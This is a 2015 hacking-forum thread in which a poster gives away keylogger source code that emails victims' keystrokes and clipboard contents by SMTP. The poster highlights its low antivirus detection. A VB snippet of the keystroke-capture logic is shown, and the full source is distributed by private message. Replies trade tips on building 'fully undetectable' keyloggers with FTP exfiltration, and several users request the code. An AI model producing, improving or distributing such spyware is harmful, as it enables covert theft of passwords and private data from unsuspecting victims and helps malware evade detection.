Thread: [SKL KEYLOGGER SOURCE - SMTP With modifiable configuration - 3/53 Detection](#)

Biz Nessman - May 22, 2015, 11:08 am

- This is completely finished, the only thing you "need" to mess with is the configuration. The SMTP mailing structure and everything is correct, but if you'd like to edit/add personal options then go ahead and modify anything in the source.

I'm giving away a pretty basic .NET getakeysync keylogger source I made which is 3/52 detection. If anyone is interested in other projects I've been working on let me know.

You will need a copy of .NET to edit this, as you edit configuration and re-compile it. It sends logs with clipboard and keystrokes, will soon add printscreen.

This is a GREAT project for anyone just getting into Visual Basic as it gives you a layout. The format for logging keystrokes is...

Code '-----

'You can enable or disable local logging, it's currently set for only network sending but if you remove all of the comment additions you'll achieve logging in whatever text file location you'd like.

'If you don't want local logging, don't worry about it.

```
'1
If q1 = True Then
If sh = True Then
qq1s = True
Else
qq1 = True
End If
End If
'-----
'1e
If qq1 = True Then
If q1 = False Then
If checked = True Then
'textfile.write("1")
'textfile.flush()
End If
maillog &= "1"
qq1 = False
End If
End If
If qq1s = True Then
If q1 = False Then
If checked = True Then
'textfile.write("!")
'textfile.flush()
End If
maillog &= "!"
qq1s = False
```

End If
End If
'-----

Here's the configuration for the source...

Here is the mail log structure... (needs work, fun project to look into if interested)...

Please PM me for the download!
(Includes full VB 2013 source).

- THIS IS COMPLETELY DONE, the only thing you "need" to mess with is the configuration. The SMTP mailing structure and everything is correct, but if you'd like to edit/add personal options then go ahead and modify anything in the source.

Looks like a nice product my man, glad you finished it.

CodeAssassin - May 23, 2015, 3:18 am

how is it 3/52 already?

I made one yesterday with FTP and writes logs to appdata. And its fud first time. I was a little surprised tbh, But i'll check yours out and see whats different compared. Thanks.

I like you added the user pc info in i might have to expand and add a little more info like that, thanks for the tip!

EIDT: MY PM to you as your mail box is FULL..

Hey man,
Can i take a gander at your sauce please?

I have a FUD keylogger i built in C# yesterday but i want to know why yours is detected. I use FTP rather than SMTP but i expect were are using a similar keyboard hook.

Would just be good to see where the detection's from yours are coming from. Thanks in advance.

nuk - May 23, 2015, 10:23 am

This is a pretty good share IMO. This will help some people out and it's not off to a bad start at all ;) Thanks for sharing this with the community OP! ;) +3 from me homie ;)

Thanks so much!

Sent out the logger source to anyone trying to contact me with my inbox full.

CodeAssassin - May 23, 2015, 3:45 pm

Thanks very much, I'll have a look at it asap.

I appreciate you taking the time to send me it :)

I appreciate you taking the time to send me it :)

Will be posted publicly soon, I might add it to my website <http://www.hacktheplanets.com> so I can throw updates on their and hopefully add a GUI.

gungunfebrianza - May 30, 2015, 9:51 am

i want it dear :)

Personal message you now ...

DuguWudi - May 30, 2015, 1:12 pm

Just pm OP about it.

Thank you.

Blackhatzer - October 27, 2015, 2:00 pm

PM'ed you, hopefully awaiting for an answer

He hasn't been on since June. Try PMing one of the other members who posted and see if they still have it.

OP, if you come back to see this and want to post the link publicly, then let me know and I'll reopen the thread.
